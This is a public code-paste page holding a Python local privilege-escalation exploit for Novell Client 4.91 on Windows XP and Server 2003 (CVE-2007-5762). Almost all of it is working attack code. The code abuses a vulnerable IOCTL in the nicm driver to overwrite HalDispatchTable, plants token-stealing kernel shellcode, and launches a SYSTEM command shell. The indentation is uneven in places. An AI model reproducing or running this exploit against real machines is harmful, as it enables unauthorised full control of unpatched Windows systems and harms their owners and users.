fork(2) download
copy 
  1. # Novell Client 4.91 SP3/4 Privilege escalation exploit
  2. # Download link: http://d...content-available-to-author-only...l.com/Download?buildid=SyZ1G2ti7wU~
  3. #
  4. # SecurityFocus: http://w...content-available-to-author-only...s.com/bid/27209/info
  5. # CVE: http://c...content-available-to-author-only...e.org/cgi-bin/cvename.cgi?name=CVE-2007-5762
  6. # Patch: http://d...content-available-to-author-only...l.com/Download?buildid=4FmI89wOmg4~
  7. #
  8. # Author: sickness@offensive-security.com
  9. # Version Tested: Novell Client 4.91 SP4
  10. # Targets: Exploit works on all service packs of Win2K3 and WinXP (except Windows XP SP1)
  11. # Thanks:
  12. #       - g0tmi1k for helping me test out the exploit on as many versions of Windows as possible.
  13. #       - ryujin for the help while developing the exploit.
  14.  
  15. from ctypes import *
  16. import sys,struct,os
  17. from optparse import OptionParser
  18.  
  19. kernel32 = windll.kernel32
  20. ntdll    = windll.ntdll
  21. Psapi    = windll.Psapi
  22.  
  23. def GetBase(drvname=None):
  24.     EVIL_ARRAY            = 1024
  25.     myarray               = c_ulong * EVIL_ARRAY
  26.     lpImageBase           = myarray()
  27.     cb                    = c_int(1024)
  28.     lpcbNeeded            = c_long()
  29.     drivername_size       = c_long()
  30.     drivername_size.value = 48
  31.     Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
  32.     for baseaddr in lpImageBase:
  33.         drivername = c_char_p("\x00"*drivername_size.value)
  34.         if baseaddr:
  35.             Psapi.GetDeviceDriverBaseNameA(baseaddr, drivername,
  36.                             drivername_size.value)
  37.             if drvname:
  38.                 if drivername.value.lower() == drvname:
  39.                     print "[>] Retrieving %s information." % drvname
  40.                     print "[>] %s base address: %s" % (drvname, hex(baseaddr))
  41.                     return baseaddr
  42.             else:
  43.                 if drivername.value.lower().find("krnl") !=-1:
  44.                     print "[>] Retrieving Kernel information."
  45.                     print "[>] Kernel version: ", drivername.value
  46.                     print "[>] Kernel base address: %s" % hex(baseaddr)
  47.                     return (baseaddr, drivername.value)
  48.     return None
  49.  
  50. if __name__ == '__main__':
  51.  
  52.     usage =  "%prog -o <target>"
  53.         parser = OptionParser(usage=usage)
  54.         parser.add_option("-o", type="string",
  55.                   action="store", dest="target_os",
  56.                   help="Available target operating systems: XP, 2K3")
  57.         (options, args) = parser.parse_args()
  58.         OS = options.target_os
  59.         if not OS or OS.upper() not in ['XP','2K3']:
  60.            parser.print_help()
  61.            sys.exit()
  62.         OS = OS.upper()
  63.  
  64.     GENERIC_READ = 0x80000000
  65.     GENERIC_WRITE = 0x40000000
  66.     OPEN_EXISTING = 0x3
  67.     DEVICE = '\\\\.\\nicm'
  68.  
  69.     device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
  70.  
  71.     (krnlbase, kernelver) = GetBase()
  72.     hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
  73.     HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
  74.     HalDispatchTable -= hKernel
  75.     HalDispatchTable += krnlbase
  76.     HalBase = GetBase("hal.dll")
  77.     print "[>] HalDispatchTable address:", hex(HalDispatchTable)
  78.     HalDispatchTable0x4 = HalDispatchTable + 0x4
  79.     HalDispatchTable0x8 = HalDispatchTable0x4 + 0x4
  80.     HalDispatchTable_0x14 = HalDispatchTable0x4 - 0x10
  81.  
  82.     if OS == "2K3":
  83.             HaliQuerySystemInformation = HalBase + 0x1fa1e # Offset for 2003
  84.             HalpSetSystemInformation   = HalBase + 0x21c60 # Offset for 2003
  85.  
  86.         else:
  87.             HaliQuerySystemInformation = HalBase + 0x16bba # Offset for XP
  88.             HalpSetSystemInformation   = HalBase + 0x19436# Offset for XP
  89.  
  90.         print "[>] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
  91.         print "[>] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
  92.  
  93.     EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL
  94.     retn = c_ulong()
  95.     inut_buffer = HalDispatchTable0x4 - 0x10 + 0x3 # Make the pwnsauce overwrite
  96.     inut_size = 0x0
  97.     output_buffer = 0x41414141 # Junk
  98.     output_size = 0x0
  99.  
  100.         # Get offsets
  101.         if OS == "2K3":
  102.             _KPROCESS = "\x38" # Offset for 2003
  103.             _TOKEN    = "\xd8" # Offset for 2003
  104.             _UPID     = "\x94" # Offset for 2003
  105.             _APLINKS  = "\x98" # Offset for 2003
  106.  
  107.         else:
  108.             _KPROCESS = "\x44" # Offset for XP
  109.             _TOKEN    = "\xc8" # Offset for XP
  110.             _UPID     = "\x84" # Offset for XP
  111.             _APLINKS  = "\x88" # Offset for XP
  112.  
  113.         # Restore the pointer
  114.         pointer_restore =   "\x31\xc0" + \
  115.                  "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
  116.                  "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
  117.                  "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
  118.                  "\xa3" + struct.pack("L", HalDispatchTable0x4)
  119.  
  120.         # Make the evil token stealing
  121.         steal_token =  "\x52"                                 +\
  122.                  "\x53"                                 +\
  123.                  "\x33\xc0"                             +\
  124.                  "\x64\x8b\x80\x24\x01\x00\x00"         +\
  125.                  "\x8b\x40" + _KPROCESS                 +\
  126.                  "\x8b\xc8"                             +\
  127.                  "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
  128.                  "\x89\x1d\x00\x09\x02\x00"             +\
  129.                  "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
  130.                  "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
  131.                  "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
  132.                  "\x75\xe8"                             +\
  133.                  "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
  134.                  "\x8b\xc1"                             +\
  135.                  "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
  136.                  "\x5b"                                 +\
  137.                  "\x5a"                                 +\
  138.                  "\xc2\x10"
  139.  
  140.         # Build the shellcode
  141.         sc = "\x90" * 100
  142.         sc+= pointer_restore + steal_token
  143.         sc+= "\x90" * 100
  144.  
  145.     if OS == "2K3":
  146.         baseadd    = c_int(0x02a6ba10)
  147.  
  148.     else:
  149.         baseadd    = c_int(0x026e7bb0)
  150.  
  151.     MEMRES     = (0x1000 | 0x2000)
  152.     PAGEEXE    = 0x00000040
  153.     Zero_Bits   = c_int(0)
  154.     RegionSize = c_int(0x1000)
  155.     write    = c_int(0)
  156.  
  157.     dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE)
  158.  
  159.     if OS == "2K3":
  160.         kernel32.WriteProcessMemory(-1, 0x02a6ba10, sc, 0x1000, byref(write))
  161.  
  162.     else:
  163.         kernel32.WriteProcessMemory(-1, 0x026e7bb0, sc, 0x1000, byref(write))
  164.  
  165.     if device_handler:
  166.         print "[>] Sending IOCTL to the driver."
  167.         dev_io = kernel32.DeviceIoControl(device_handler, EVIL_IOCTL, inut_buffer, inut_size, output_buffer, output_size, byref(retn), None)
  168.  
  169.     evil_in  = c_ulong()
  170.     evil_out  = c_ulong()
  171.     evil_in  = 0x1337
  172.     hola = ntdll.NtQueryIntervalProfile(evil_in, byref(evil_out))
  173.     print "[>] Launching shell as SYSTEM."
  174.     os.system("cmd.exe /K cd c:\\windows\\system32")
  175.  
Runtime error #stdin #stdout 0.08s 10832KB
comments (?)
stdin
copy 
Standard input is empty
stdout
copy 
Standard output is empty
https://ideone.com/f0psNG
language:
Python (cpython 2.7.16)
created:
11 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!